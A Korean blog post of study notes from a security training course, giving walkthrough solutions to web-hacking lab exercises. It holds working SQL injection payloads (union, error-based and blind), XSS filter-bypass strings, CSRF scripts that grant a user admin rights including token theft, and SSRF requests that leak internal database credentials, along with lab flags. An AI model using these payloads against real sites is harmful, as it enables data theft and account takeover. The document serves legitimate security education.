작은 메모장

42. 모의해킹 총정리 본문

실더스 루키즈 교육

42. 모의해킹 총정리

으앙내눈 2024. 3. 22. 09:10

~ Union ~

=== JSP ===

컬럼 갯수 확인
Q: 삼성동%' order by 1--

Q: 삼성동%' union select 'a', 'b', 'c', 'd', 'e' from dual --
자료형 : 문자 문자 문자 문자 문자

테이블 이름 추출
Q: 삼성동%' union select table_name, null, null, null, null from user_tables --

행 이름 추출
Q: 삼성동%' union select column_name, null, null, null, null from all_tab_columns where table_name = 'SQL_UNION_ANSWER' --

값 추출 
Q: 삼성동%' union select ANSWER_COLUMN, null, null, null, null from SQL_UNION_ANSWER --


=== PHP ===

취약점 발견
Q: 삼성동%'-- 

컬럼 갯수 확인
Q: 삼성동%' order by 1-- 
컬럼 5까지만 적용, 컬럼 갯수는 5개

컬럼 자료형 확인
Q: 삼성동%' union select 'a', 'b', 'c', 'd', 'e' from dual-- 
자료형 : 문자 문자 문자 문자 문자

테이블 이름 추출
Q: 삼성동%' union select table_name, null, null, null, null from information_schema.tables -- 
테이블 이름 union_answer

행 이름 추출
Q: 삼성동%' union select column_name, null, null, null, null from information_schema.columns where table_name = 'union_answer' -- 
행 이름 answer_column

값 추출
Q: 삼성동%' union select answer_column, null, null, null, null from union_answer -- 
답은 this_is_answer_answer


=== ASP ===

취약점 발견
Q: 삼성동%' --

컬럼 갯수 확인
Q: 삼성동%' order by 1--
컬럼 5까지만 적용, 컬럼 갯수는 5개

컬럼 자료형 확인
Q: 삼성동%' union select 'a', 'b', 'c', 'd', 'e' --

테이블 이름 추출
Q: 삼성동%' union select TABLE_NAME, null, null, null, null from INFORMATION_SCHEMA.TABLES --
테이블 이름 union_answer_table

행 이름 추출
Q: 삼성동%' union select COLUMN_NAME, null, null, null, null from INFORMATION_SCHEMA.COLUMNS where table_name = 'union_answer_table' --
행 이름 union_answer_col

값 추출
Q: 삼성동%' union select union_answer_col, null, null, null, null from union_answer_table --
답은 this_is_asp_answer


=== FLASK ====

취약점 발견
Q: %삼'--

컬럼 갯수 확인
Q: %삼' order by 1--
컬럼 5까지만 적용, 컬럼 갯수는 5개

컬럼 자료형 확인
Q: %삼' union select 'a', 0, 'b', 'c', 1 --

테이블 이름 추출
Q: %삼' union select name, null, null, null, null from sqlite_master where type='table' --
테이블 이름 member 확인

행 이름 추출
Q: %삼' union select sql, null, null, null, null FROM sqlite_master WHERE type='table' AND name='member' --
행 이름 idx, id, name, password 확인

값 추출
%삼' union select id, idx, name, password, null from member --
관리자 계정 admin/passw0rd

~ Error Based ~
에러 베이스 기반의 injection은 특정 함수에서 고의로 에러를 띄워 에러 문구 결과에 원하는 결과를 출력시키게 하는 공격이다. 즉, 에러 문구를 띄우기 위한 필연적인 SQL 탐색을 이용하여 원하는 값을 출력하는 공격.
"(SQL 문 결과)를 실행시킨 결과가 에러가 났습니다"
이런 느낌으로 생각하면 된다.

당연히, 에러 결과는 하나밖에 존재하지 않기 때문에 공격자는 SQL 쿼리 결과를 값 1개만 출력해야한다. 때문에 이중 쿼리 등을 사용하여 행에서 값을 하나씩 추출하는 방식으로 진행한다.
기존의 공격 구문이 아래와 같다면
select table_name from user_tables
아래와 같이 줄번호를 붙혀 하나씩 출력하는 것이다.
select table_name from (select table_name, rownum as rnum from user_tables) where rnum = 1

 === JSP ===

취약점 발견
' and 1=CTXSYS.DRITHSX.SN(user, (('hacker'))) and 'a%'='a
DRG-11701 뒤에 thesaurus hacker... 확인
따라서, 공격구문은 아래를 따른다.
' and 1=CTXSYS.DRITHSX.SN(user, ((공격 구문))) and 'a%'='a

테이블 개수 추출
select count(table_name) from user_tables
테이블 갯수는 6개

테이블 이름 추출
select table_name from (select table_name, rownum as rnum from user_tables) where rnum = 1
테이블 이름은 각각 BOARD, COMM_FILE, COMM_MDI_FILE, MEMBER, EQST_ANSWER, ZIP_CODE

행 개수 추출
select count(column_name) from all_tab_columns where table_name = 'EQST_ANSWER'
정답 행 갯수는 5개

행 이름 추출
select column_name from (select column_name, rownum as rnum from all_tab_columns where table_name = 'EQST_ANSWER') where rnum = 1
행 이름은 각각 ANSWER_COLUMN, REG_DT, REG_ACCT_ID, UDT_DT, UDT_ACCT_ID

값 추출
select ANSWER_COLUMN from (select ANSWER_COLUMN, rownum as rnum from EQST_ANSWER) where rnum = 1
정답 값은 skinfosec_eqst_lms_system


=== PHP ===

취약점 발견
1' and updatexml(null,concat(0x3a,(select 'hacker')),null) and '1'='1
syntax error: 뒤에 ':hacker'... 확인
따라서, 공격 구문은 아래를 따른다.
1' and updatexml(null,concat(0x3a,(공격 구문)),null) and '1'='1

DB 이름 추출
1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1
DB 이름은 skinfosec

테이블 개수 추출
select count(table_name) from information_schema.tables
테이블의 개수는 70개

테이블 이름 추출
select table_name from information_schema.tables limit 66, 1
테이블 이름은 eqst_answer

행 개수 추출
select count(column_name) from information_schema.columns where table_name='eqst_answer'
정답 행 개수는 1개

행 이름 추출
select column_name from information_schema.columns where table_name='eqst_answer' limit 0, 1
정답 행 이름은 answer_column

값 추출
select answer_column from eqst_answer limit 0, 1
정답 값은 skinfosec_eqst_lms_system


~ Blind ~
블라인드 injection 참, 혹은 거짓을 가지는 조건문의 쿼리를 요청할 시 반환되는 응답값을 보고 데이터를 추출하는 공격이다. 이는 공격 대상의 화면에 SQL 요청 결과가 전혀 보이지 않는 상황에서도 공격이 가능하다는 특징이 있다.

블라인드 인젝션은 꺼내올 데이터를 확인할 방법이 참, 거짓 뿐이기 때문에, 데이터 자체를 꺼내기 위해서는 전체 문자열을 순회하며 하나하나 검색해야한다. 즉, 한글자씩 아스키코드 상에서 값을 비교하여 천천히 알아내야한다. 블라인드 인젝션에서 자주 쓰이는 함수는 count와 substring(substr)로, 각각 해당 데이터의 갯수와 특정 위치의 글자를 가져오는 기능이다.

통상적인 탐색 방법은 아래와 같다.
select * from <테이블> where <결과 확인용 데이터 쿼리> and <참 거짓을 토글하기 위한 조건문> and <항상 참인 조건문>

아래 쿼리를 보자.
select substr('abcd', 1, 1) from dual;
위 쿼리는 substr 함수로 인해 첫번째 글자를 가져온다. 결과는 a일 것이다.
select ascii(substr('abcd', 1, 1)) from dual;
위 결과를 아스키코드값으로 변경한다. 결과는 97일 것이다.
select * from <테이블> where <결과 확인용 데이터 쿼리> and (select ascii(substr('abcd', 1, 1)) from dual)=97 and <항상 참인 조건문>
만들었던 쿼리문을 아까 소개한 쿼리문에 서브쿼리로 적용시킨다. 그 후, 부등호 및 등호를 이용하여 결과를 유추해간다.

=== JSP ===

취약점 진입
Q: qwer%' and 'a%'='a
해당 쿼리문으로 블라인드 인젝션이 가능한 것을 확인하였다.
따라서, 공격은 다음의 쿼리로 진행할 것이다.
qwer%' and <공격 구문> and 'a%'='a

계정명 추출
Q: (select length(user) from dual) = 4
계정명의 길이는 4글자
Q: (select ascii(substr(user, 1, 1)) from dual) = 4
해당 결과는 73, 78, 70, 54로, 변환하면 INF6

=== PHP ===

취약점 진입
Q: 관리자%' and 'a%'='a
해당 쿼리문으로 블라인드 인젝션이 가능한 것을 확인하였다.
따라서, 공격은 다음의 쿼리로 진행할 것이다.
관리자%' and <공격 구문> and 'a%'='a

계정명 추출
Q: (select length(CURRENT_USER()) from dual) = 7
계정명의 길이는 7글자
Q: (select ascii(substr(CURRENT_USER(), 1, 1)) from dual) > 80
해당 결과는 105, 110, 102, 111, 115, 64, 37로, 변환하면 infos@%

CURRENT_USER는 결과를 "유저명@호스트"로 반환하므로, 유저명은 infos

=== ASP ===

취약점 진입
Q: 관리자%' and 'a%'='a
해당 쿼리문으로 블라인드 인젝션이 가능한 것을 확인하였다.
따라서, 공격은 다음의 쿼리로 진행할 것이다.
관리자%' and <공격 구문> and 'a%'='a

계정명 추출
Q: (select len(SYSTEM_USER)) = 4
계정명의 길이는 4글자
Q: (select ascii(substring(SYSTEM_USER, 1, 1))) > 100
해당 결과는 111, 115, 101, 99으로, 유저명은 osec


=== EQSTORE Q1 ===

취약점 진입
Injection을 수행할 진입점을 여러 군데 찾아본다.
주요 타겟은 검색창과 URL 파라미터.
상품 페이지로 진입하여 id 파라미터를 탐색하면, 해당 쿼리는 다음의 구조를 가진다고 가정할 수 있다.
SQL[ ... id = <상품의 id(정수형)>  ]
이를 정수형 형태에 맞게 조작하면, Injection이 수행되는 것을 확인 가능하다.
SQL[ ... id = <상품의 id(정수형)> and <조건문> ]
따라서, 공격은 다음의 형태로 Blind Injection을 수행한다.
2 and <조건문>

계정명 추출
(select length(user) from dual) = 8
계정명의 길이는 8글자
(select ascii(substr(user, 1, 1)) from dual) > 100
해당 결과는 85, 83, 69, 87, 79, 82, 76, 68로, 변환하면 USEWORLD

따라서, 답은 USEWORLD


- Prepared Statement란
기존 방식
데이터를 입력 받을 때마다 쿼리를 새로 "생성"하는 방식
코드를 짜는 사람이 유동적으로 쿼리를 사용할 수 있어 편리하지만
Injection 공격이 들어왔을 때에도 쿼리를 새로 생성하기 때문에 보안상 취약, 속도도 느림.
query = "select * from friends where name like '%" + 입력값 + "%'"

Prepared Statement 방식
쿼리는 이미 만들어져 있고, 정해진 위치에 데이터를 "집어넣는" 방식
쿼리가 이미 만들어져 있기 때문에, 해당 쿼리에 사용되는 데이터 시트만 생성되어 사용된다.
사용자 입력값이 쿼리에서 변수의 인자로만 사용되기 때문에, Injection 공격이 수행되기 어렵다.
또, 쿼리가 이미 만들어져 있기 때문에 속도가 상당히 빠르다.
그러나 코드를 짜는 사람이 쿼리문을 유동적으로 사용하기 힘들기 때문에 상당히 불편하다.
query = "select * from friends where name like '%?%' and age = ?"
query.bind(1, keyword);
query.bind(2, ageinput);

- Prepared Statement 방식은 무조건 안전하다?
두가지 관점이 있다.
1. 안전하다 -> 제대로만 쓰면 -> 컬럼과 테이블에서는 바인딩이 불가, 해당 부분을 고려하여 개발하면 안전.
2. 안전하지 않다 -> 그 이유 -> 컬럼과 테이블에서는 바인딩이 불가, 해당 부분을 사용하지 않더라도 다른 방식으로 공격이 가능.
애초에 Prepared Statement는 SQL 응답속도의 성능 향상을 위한 방식이었지, 보안 성능의 향상을 노리고 만든 것이기 때문에, 너무 이 방식에 의존적이면 안된다.

아래와 같은 쿼리를 보자.
query = "select * from /var/www/html/board=? where name like '%?%'"
query.bind(1, board);
query.bind(2, keyword);

또, 이런 경우도 있다.
test.com/board/list?board=notice&sordBy=regdt
query = "select 글번호, 제목, ... from 게시판 where 글제목 like '%?%' order by " + sortBy
이 경우, case 문을 사용하여 이를 Injection 가능하다.
... order by 1, (case when <공격 구문> then 1 else 1/0 end);
만약 공격 구문이 참이라면, SQL은 then 뒤에 있는 쿼리를 시도할 것이다.
그러나 공격 구문이 거짓이라면, SQL은 else 뒤에 있는 쿼리를 시도할 것이다.
최근의 SQL 서비스들은 이 공격을 효과적으로 막기 때문에, else 뒤에 있는 쿼리를 고의로 에러를 발생시켜 공격 구문의 Bline Injection을 수행한다.



- 세션과 쿠키
반드시 알아둬야하는 것이 있는데, 세션은 서버에 저장하는 값, 쿠키는 브라우저에 저장하는 값이다.
쿠키가 무엇인가? 연결한 세션의 ID값을 저장한 것이다.

TCP 연결 특징상 한번 연결을 수립할 때 상당히 오랜 시간과 복잡한 과정을 거친다.
이 TCP 연결을 데이터 한번 주고 받을때마다 다시 수립해야한다면 어마어마하게 오랜 시간이 걸릴 것이다.
따라서 서버와 클라이언트는 특정 값을 생성하여 

세션과 쿠키는 서로 필연적인데, 이는 동작 과정을 보면 알 수 있다.
클라이언트가 TCP 연결을 통해 HTTP로 데이터를 주고 받을 준비를 하면, 서버와 클라이언트는 각각 정해진 동작을 한다.
일단 클라이언트는 로그인에 성공 시 랜덤한 난수(보통 해시값) 서버에게 이를 전달한다.
이와 동시에 하드디스크 상에 도메인 이름과 같이 이 값을 저장한다. 이는 통신을 서버와 시도할 때마다 이 쿠키를 서버에게 전송한다.
쿠키값을 받은 서버는 이를 세션으로 지정하고 이 세션값에 클라이언트의 정보(id 값, 이름, 마지막 로그인 시간 등..)를 매핑한다.

당연하게도 서버의 세션값과 클라이언트의 쿠키값이 같아야 연결이 수립되며, 쿠키값이 변조되면 연결되지 않는다.
또, 남의 쿠키값을 탈취하여 서버에 연결을 수립하면, 서버는 별도의 인증 없이 곧바로 연결된다.


이런 특징으로 인해, 세션으로 발생할 수 있는 공격이 존재한다.
1. 세션 재사용
-> 위에서 설명한 공격. 탈취한 세션 ID를 본인이 아닌 다른 사람(PC)에서 사용이 가능한 취약점
한계도 명확한데, 로그인 당시의 IP를 세션에 저장한다.
최초 로그인 사용자 IP와 다르면 오류처리 및 세션 폐기하는 방향으로 방어한다.
그러나 IP 주소를 언제든지 변경할 수 있고, 세션값을 탈취할 때 보통 같은 외부망을 사용하기 때문에, 이 방법도 부족함이 있다. 즉, 웹 자체로 식별은 불가능하다는 것.
따라서, MAC 주소나 PC 사용자 이름, PC 윈도우 번호 등 사용자의 고유한 정보를 비교하는 방향으로 보강한다.

2. 세션 고정
-> 세션을 탈취하지 않고, 피해자의 세션 ID를 지정하는 방식.
방법은 간단한데, 피해자에게 고정된 쿠키를 가진 링크를 보내 로그인을 유도한다.
이와 동시에 공격자는 대상 서버에 고정된 쿠키값을 가지고 계속 새로고침을 유지한다.
피해자가 공격자에게 받은 쿠키값으로 로그인을 하는 순간, 해당 쿠키값을 폐기하고 새로 발급받아 로그인 정보를 탈취한다.
방어법도 간단한데, 로그인 하기 전과 로그인 한 후의 쿠키값이 같다면 이는 명확하게 공격받은 것.

3. 세션 만료
-> 사용자가 정상적인 세션 만료를 하지 않아 남아있는 세션을 공격자가 값을 얻어 이를 탈취하는 방식.
공격자는 다양한 방법으로 이걸 접근할 수 있는데, 세션값을 탈취하거나, 세션값을 유추하거나, 세션값을 때려맞추거나(Brute force) 등의 방법으로 접근한다.
이 과정에서 세션이 만료되지 않고 남아있으면 그대로 연결이 탈취된다.
방어법도 간단하다. 만료 시간을 따로 지정해놓는것. 가급적이면 시간이 짧으면 짧을수록 좋지만, 그만큼 사용자의 불편도 증가하므로 적당한 만료 시간을 지정하는게 좋다. 대략 10~15분 정도.


Cross-site Scripting(XSS)
SQL Injection과 다르게, 이건 Java Script Injection의 형태를 띈다.

이를 이해하려면 인터프리터와 컴파일러의 차이를 알아야한다.
인터프리터는 위에서부터 한줄씩 실행하며 코드를 진행한다. 통상적인 스크립트 언어(Python, JS 등)가 이에 해당한다.
한 줄씩 실행하기 때문에, 에러가 중간에 났다고 하더라도 에러 이전까지의 구문은 실행된다.
컴파일러는 전체 코드를 검사한 후, 코드를 진행한다. C나 Java 등이 이에 속한다.
전체 코드를 검사하므로, 중간에 에러가 나면 아무런 구문도 실행되지 않는다.

JavaScript, 즉 JS는 통상적으로 HTML과 같이 쓰이는 스크립트 언어다.
HTML 특성상 중간에 오류가 나더라도 웹 페이지는 인코딩되며, 페이지 자체는 보여지게 된다.
즉, 인터프리터의 개념을 가지고 있다는 것.
HTML은 Inline Script라는 이름으로 한줄짜리 스크립트를 넣는 기능을 지원한다. 그리고 브라우저는 이 한줄짜리 스크립트가 정상적으로 작성되면 HTML 문서가 엉망이던 말건 열심히 실행한다.
따라서, XSS 공격을 시행할 때 공격자는 이 한줄짜리 스크립트, Inline Script를 주입하여 스크립트를 실행할 공간을 찾는 것을 우선적으로 시행하고, 주입점을 찾으면 원하는 스크립트를 주입하는 것이다.

아래와 같은 상황을 생각해보자.
요청으로 GET test.com/board/list?keyword='AAAA' 라는 쿼리를 전송했고
응답으로 ... <a id='userInput'> AAAA </a>으로 응답이 왔다.
만약 요청으로 AAAA 대신 
<script> alert(1) </script>이란 값을 주면, alert(1)이 실행되는 원리다.

종류는 여러가지가 있는데, 대표적으로 다음과 같다.
1. Reflected <- 반사형
코드 주입점과 코드 반환점이 똑같은 경우의 XSS다.
쉽게 이해하는 경우는 링크. 링크의 파라미터에 코드를 주입하면 그 코드가 실행이 되는 것이다.
통상적으로 스미싱에 많이 사용되며, 유명 도메인에다 코드를 주입하여 리다이렉션 스크립트를 걸어 공격하는 형식으로 진행된다.

2. Stored < 저장형
코드 주입점과 코드 반환점이 다른 경우의 XSS다.
쉽게 이해하는 경우는 게시판. 게시판에 글, 혹은 제목 작성란에 코드를 주입 시켜놓고 피해자가 이를 접속 시 코드가 실행되는 과정이다.
보통 사회공학적 기법을 응용하여 사용되며, 사용자 접속을 유도하는 글에 리다이렉션 스크립트를 걸어 공격하는 형식으로 진행된다.

3. DOM <- 돔형. 이건 중요하지 않고 위험하지도 않아서 넘긴다.

=== XSS 1번 ===
asdf를 입력하고 Burp로 잡는다.
입력 요청에 여러 파라미터를 잡는 것을 확인할 수 있다.
GET /exam16/notice.php?pageIndex=xsstest1&board_id=xsstest2&sorting=xsstest3&sotingAd=xsstest4&startDt=xsstest5&endDt=xsstest6&searchType=xsstest7&keyword=xsstest8 HTTP/1.1

asdf"/><script>alert("XSS");</script><
통상적인 공격 구문에서 사용하는 특수 문자는 "<>();으로, 해당 특수 문자를 반드시 사용해야한다.
해당 요청을 전송하면, pageIndex에 해당하는 페이지가 특수문자가 작동하는 것을 볼 수 있다.
이 특수문자를 넣어 다시 시도한다.
xsstest"/><script>alert("XSS")</script><temp+temp="

링크
https://elms2.skinfosec.co.kr:8083/exam16/notice.php?pageIndex=xsstest"/><script>alert("XSS")</script><temp+temp="&board_id=&sorting=&sotingAd=&startDt=&endDt=&searchType=&keyword=xsstest

플래그는
skinfosec

=== XSS 2번 ===
게시물에 진입 후, Burp로 잡는다.
입력 요청에 여러 파라미터를 잡는 것을 확인할 수 있다.
탐색을 위해 VVVVVV와 숫자로 탐색한다.
GET /exam17/noticeview.php?pageIndex=VVVVVV1&board_id=VVVVVV2&sorting=VVVVVV3&sotingAd=VVVVVV4&startDt=VVVVVV5&endDt=VVVVVV6&searchType=VVVVVV7&keyword=VVVVVV8 HTTP/1.1

요청을 입력하면, board_id에 해당하는 값이 스크립트 블록 안에 입력되는 것을 확인할 수 있다.
이에 맞춰 요청을 다시 작성한다.
VVVVVV2';} alert("XSS"); function dummy() { a = 'a

링크
https://elms2.skinfosec.co.kr:8083/exam17/noticeview.php?pageIndex=&board_id=VVVVVV2'%3b}+alert("XSS")%3b+function+dummy()+{+a+%3d+'a&sorting=&sotingAd=&startDt=&endDt=&searchType=&keyword=VVVVVV

플래그는
xss_exam

=== XSS 5번 ===
진입 시 게시물이 하나도 안보임.
본인만 보이는 게시물이므로, 게시물 등록으로 Burp 시도

키워드가 매우 많이 검색되는 것을 확인 가능
키워드 입력 가능한 곳에 전부 키워드를 넣고 실행

등록된 글을 Burp로 잡아 키워드를 기준으로 주입점을 확인

목록: VVVVVV3
조회: VVVVVV3, VVVVVV6

주입점에 맞게 공격 구문을 작성
제목: VVVVVV3<script>alert("XSS");</script>
글: VVVVVV3<script>alert("XSS");</script>

제목에 쓴 공격구문은 치환되어 사용할 수 없게 되었다.
그러나 글 내용은 정상적으로 동작하는 것을 확인 가능하다.

플래그는
stored_xss

=== XSS 6번 ===
진입 시 게시물이 하나도 안보임.
본인만 보이는 게시물이므로, 게시물 등록으로 Burp 시도

키워드가 매우 많이 검색되는 것을 확인 가능
키워드 입력 가능한 곳에 전부 키워드를 넣고 실행

등록된 글을 Burp로 잡아 키워드를 기준으로 주입점을 확인

목록: VVVVVV3
조회: VVVVVV3, VVVVVV6

주입점에 맞게 공격 구문을 작성
제목: VVVVVV3<script>alert("XSS");</script>
글: VVVVVV3<script>alert("XSS");</script>

제목에 쓴 공격구문은 치환되어 사용할 수 없게 되었다.
그러나 글 내용은 정상적으로 동작하는 것을 확인 가능하다.

플래그는
html..xss

=== 9 ===
진입 시 게시물이 하나도 안보임.
본인만 보이는 게시물이므로, 게시물 등록으로 Burp 시도

키워드가 매우 많이 검색되는 것을 확인 가능
키워드 입력 가능한 곳에 전부 키워드를 넣고 실행

등록된 글을 Burp로 잡아 키워드를 기준으로 주입점을 확인

목록: VVVVVV3
조회: VVVVVV3, VVVVVV6

주입점에 맞게 공격 구문을 작성
제목: VVVVVV3<script>alert("XSS");</script>
글: VVVVVV3<script>alert("XSS");</script>

제목에 쓴 공격구문은 치환되어 사용할 수 없게 되었다.
글 내용에 쓴 구문도 일부 치환되어 망가진 것을 확인할 수 있다.

글 내용에 넣을 스크립트를 약간의 우회를 통해 주입시킨다.
<p>VVVVVV6</p><sscriptcript>aalertlert("XSS")</sscriptcript>

그럼 정상적으로 스크립트가 작동하는 것을 확인할 수 있다.

플래그는
space_filter


- CSRF (Cross-site Request Forgery)
XSS와 혼동하기 상당히 쉬운 방식의 공격 기법.
헷갈리는 이유는 공격 과정이 상당히 비슷하기 때문이다.
그러나 공격 방식도 완전히 다르고, 방어법도 아얘 다르기 때문에 주의하며 이해해야하는 개념이다.

CSRF는 사용자가 모르게 서버에 비정상적인 요청을 보내서 "서버"에서 처리하도록 만드는 공격이다.
사용자의 환경으로 서버에서 처리하게 하므로, 공격의 대상은 사용자가 아닌 서버의 WAS를 타겟으로 한다.
XSS는 사용자가 모르게 서버에서 비정상적인 요청을 받아 "사용자"에서 처리하도록 만드는 공격이다.
서버에서 받은 값으로 사용자의 환경에서 처리하게 하므로, 공격의 대상은 사용자의 환경을 타겟으로 한다.


=== CSRF 1 ===
목표는 일반 사용자의 계정 권한 상승
일반 사용자가 권한 상승용 스크립트가 주입된 게시글을 작성하고,
관리자가 글을 읽게되면 일반 사용자가 권한이 상승

권한 변경 페이지에서 요청하는 URL은 아래와 같다.
GET http://elms1.skinfosec.co.kr:8082/bbs11/updateGetAuth?loginId=vvvvvv%40aaa.com&adminYn=2
즉 관리자 권한(2)으로 등급을 변경하게 만드는 url을 관리자가 위와 같은 요청을 전송하게 만들면 된다.

<img src="http://elms1.skinfosec.co.kr:8082/bbs11/updateGetAuth?loginId=vvvvvv%40aaa.com&adminYn=2" style="display:none"> 

이후, 관리자 계정으로 접속 후 글을 읽어본다.
아무런 변화가 없지만, 일반 사용자 계정은 권한이 상승된 것을 확인할 수 있다.

플래그는 getanswer_good

=== CSRF 2 ===
목표는 일반 사용자의 계정 권한 상승
일반 사용자가 권한 상승용 스크립트가 주입된 게시글을 작성하고,
관리자가 글을 읽게되면 일반 사용자가 권한이 상승

권한 변경 페이지에서 요청하는 URL은 아래와 같다.
POST /bbs11/updatePostAuth
...
loginId=vvvvvv%40aaa.com&adminYn=2
즉 관리자 권한(2)으로 등급을 변경하게 만드는 url을 관리자가 위와 같은 요청을 전송하게 만들면 된다.

POST방식의 공격은 한가지 문제가 있는데, 바로 form을 이용한 공격이란 점이다.
form을 이용한 공격은 해당 공격이 주입되는 자리 밖에 form이 있다면, 동작하지 않는다.
현재 문제도 이 경우와 같은 경우로, 공격 구문 밖에 /answer로 진입하는 form이 존재한다.
이 문제를 해결하기 위해, form을 강제로 종료한 후, 원하는 form 공격 구문을 주입 한 후, 다시 원래 form을 실행할 것이다.

</form>
<form action="http://elms1.skinfosec.co.kr:8082/bbs11/updatePostAuth" method="POST">
<input type="hidden" name="loginId" value="vvvvvv@aaa.com"/>
<input type="hidden" name="adminYn" value="2"/>
<input type="submit" value="hit"/>
</form>
<script>document.forms[1].submit();</script>
<form id="answerForm" action="./answer">

플래그는
skinfosec_post_answer

form을 사용하지 않는 방향도 있다.
가령, jqery의 XMLHTTPRequest를 사용하는 방향이 있을거다.

=== CSRF 3 ===
목표는 일반 사용자의 계정 권한 상승
일반 사용자가 권한 상승용 스크립트가 주입된 게시글을 작성하고,
관리자가 글을 읽게되면 일반 사용자가 권한이 상승

권한 변경 페이지에서 요청하는 URL은 아래와 같다.
GET http://elms1.skinfosec.co.kr:8082/bbs11/updateGetAuth?loginId=vvvvvv%40aaa.com&adminYn=2
즉 관리자 권한(2)으로 등급을 변경하게 만드는 url을 관리자가 위와 같은 요청을 전송하게 만들면 된다.

<img src="http://elms1.skinfosec.co.kr:8082/bbs11/updateGetAuth?loginId=vvvvvv%40aaa.com&adminYn=2" style="display:none"> 

이후, 관리자 계정으로 접속 후 글을 읽어본다.
아무런 변화가 없지만, 일반 사용자 계정은 권한이 상승된 것을 확인할 수 있다.

플래그는
confirm_very_good

=== CSRF 4 ===
목표는 일반 사용자의 계정 권한 상승
일반 사용자가 권한 상승용 스크립트가 주입된 게시글을 작성하고,
관리자가 글을 읽게되면 일반 사용자가 권한이 상승

권한 변경 페이지에서 요청하는 URL은 아래와 같다.
http://elms1.skinfosec.co.kr:8082/community15/authpage?csrf_token=AJpZHgoreBnV1ZD82sux&loginId=vvvvvv%40aaa.com&adminYn=2
매개변수로 CSRF 값을 전송하고 있는 것을 확인할 수 있는데, 이는 값이 계속 변경된다.
따라서, 이를 가져와서 실행할 방법을 찾아야한다.

[[ iframe 사용 ]]
<div>
    <iframe id="myIframe" src="authpage"></iframe>
    <script>
        window.onload = function () {
            const iframe = document.getElementById('myIframe').contentWindow.document;
            const csrfToken = iframe.getElementsByName('csrf_token')[0]?.value;
            if (csrfToken) {
                const xhr = new XMLHttpRequest();
                xhr.open("GET", `updateTokenAuth?csrf_token=${csrfToken}&loginId=vvvvvv%40aaa.com&adminYn=2`, true);
                xhr.send();
            } else {
                console.error("Input element with name 'csrf_token' not found or iframe not accessible.");
            }
        };
    </script>
</div>

[[ iframe 미사용 ]]
<script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>
<script>
    $(function() {
        // CSRF 토큰을 가져오기 위한 AJAX 요청
        $.get("authpage", function(response) {
            // 응답된 HTML에서 csrf_token 값을 추출
            var csrf_token = $(response).find('input[name="csrf_token"]').val();
            if (csrf_token) {
                // CSRF 토큰을 사용하여 GET 요청 보내기
                $.get(`updateTokenAuth?csrf_token=${encodeURIComponent(csrf_token)}&loginId=vvvvvv%40aaa.com&adminYn=2`)
                 .done(function(responseText) {
                    console.log("Response:", responseText);
                 })
                 .fail(function(xhr, status, error) {
                    console.error("Error:", status, error);
                 });
            } else {
                console.error("csrf_token not found in the response.");
            }
        }).fail(function(xhr, status, error) {
            console.error("Error fetching auth page:", status, error);
        });
    });
</script>

플래그는
last_answer_perfect


- SSRF
서버에 악성행위를 시키는 공격 기법

주로 문서를 읽어오는 기능 test.com/docviewr?file=???
이미지를 가져오는 기능 test.com/imgview?image=???
인터넷 번역기  test.com/translate?site=???

보통 이런 요청을 전송할 떄, 클라이언트는 입력한 주소로 요청하고 서버에게 전달하지 않는다.
이 주소를 서버가 받아, 해당 서버에 요청 전송 후 응답을 받아 처리를 하고 다시 클라이언트에게 응답을 전달한다.
즉, 대상 서버가 다른 서버의 내용을 가져와야하는 정당한 요청을 받는다면, 서버는 다른 서버로 곧이곧대로 전송을 한다는 것.

공격자는 이를 정보를 탈취하는 용도로 사용한다.
요청을 전송할 때, 외부 IP를 요청하는 것이 아닌, 내부 IP를 요청하여 내부 데이터를 끌어오게 만드는 공격이다.


=== SSRF 1 ===
진입 시 공지 업데이트라고 되어 있는 부분 하나만 있다.
이걸 Burp로 잡고 실행시켜본다.

파라미터를 확인하면, file 파라미터로 다음 값을 불러오는 것을 확인할 수 있다.
https://pastebin.com/raw/CiLWksMZ

이를 눌렀을 때, 해당 공지사항을 가져오는 것을 확인할 수 있다.
또, HTML 상에서 이미 해당 공지사항의 값을 그대로 들고 온 것을 확인할 수 있다.
따라서, 해당 버튼은 서버에게 내부 접속 요청을 할 수 있는 진입점이다.

문제에서 요청한 URL인
http://normalskinfosec.com:8080//include/db_conf.php
이 주소로 Burp로 잡고 요청을 전송해보자.

요청을 전송하면 php 파일 내용이 그대로 전달된 것을 확인할 수 있다.
이 중, 
 //self::$instance = new db( db_host , db_user , db_pass , db_db ); self::$instance = new db( "127.0.0.1" , "ssrf_user" , "you_can_use_ssrf_attack" , "skinfosec" );
이 문구를 통해 해당 DB의 비밀번호가 you_can_use_ssrf_attack임을 알 수 있다.

플래그는 you_can_use_ssrf_attack

=== SSRF 3 ===
해당 페이지의 소스코드를 보면, 관리자 페이지 주소를 주석으로 달아놓을 것을 확인할 수 있다.
http://normalskinfosec3.com:8098/admin.php

해당 페이지로 접속하면, 
http://normalskinfosec3.com:8097/admin.php
로 접속되어, 포트 번호가 달라진 것을 확인할 수 있다.

현재 로그인 페이지에서 사용하는 파라미터 값은
?login_id=adminID&login_pwd=adminPW

따라서, 내부 서버로 내부 서버에 요청을 날리기 위해,
처음 URL 요청 화면에서 
URL주소인 http://normalskinfosec3.com:8098/admin.php에
필요한 파라미터인 ?login_id=adminID&login_pwd=adminPW를
합쳐 요청한다.

요청할 URL은 아래와 같다.
http://normalskinfosec3.com:8098/admin.php?login_id=adminID&login_pwd=adminPW

플래그는
i_can_not_stop_you

=== SSRF 2 ===
SSRF 2번은 이미지를 POST로 데이터를 가져오는 형태의 사이트를 띄고 있다.
해당 사이트에 admin.php가 있다는 정보를 가지고 시작한다.

이미지를 POST로 요청하고 Burp로 잡으면, 이미지가 BASE64로 인코딩되어 출력되는 것을 확인할 수 있다.
따라서, 원하는 페이지를 요청할 때 php파일을 요청하고 이를 인코딩하면 원문이 나올 것이다.

먼저, admin_login.php를 확인하면, 해당 내용을 확인할 수 있다.
if($id === "adminuser" && $pw === "adminpassword")
이로 인해, 아이디와 비밀번호를 알아낼 수 있다.

또, admin.php를 확인하면 상단에 또 다른 php파일을 include를 하고 있는 것을 확인할 수 있다.
<?php include_once "include/common/declare.php";?>
이 또한 끌어와서 확인한다.

declare.php안에는 여러 php 파일이 또 선언 되었는데, 
include/common/class.db.php 파일을 확인하면 아래 내용을 확인할 수 있다.
// op db [host: mariadb, ID:ssrf_user, PW:ssrf12#$]

얻은 정보를 가지고 관리자 페이지로 로그인 하여 DB에 접속하면 플래그를 얻을 수 있다.

플래그는
wow_you_got_db?

=== SSRF 4 ===
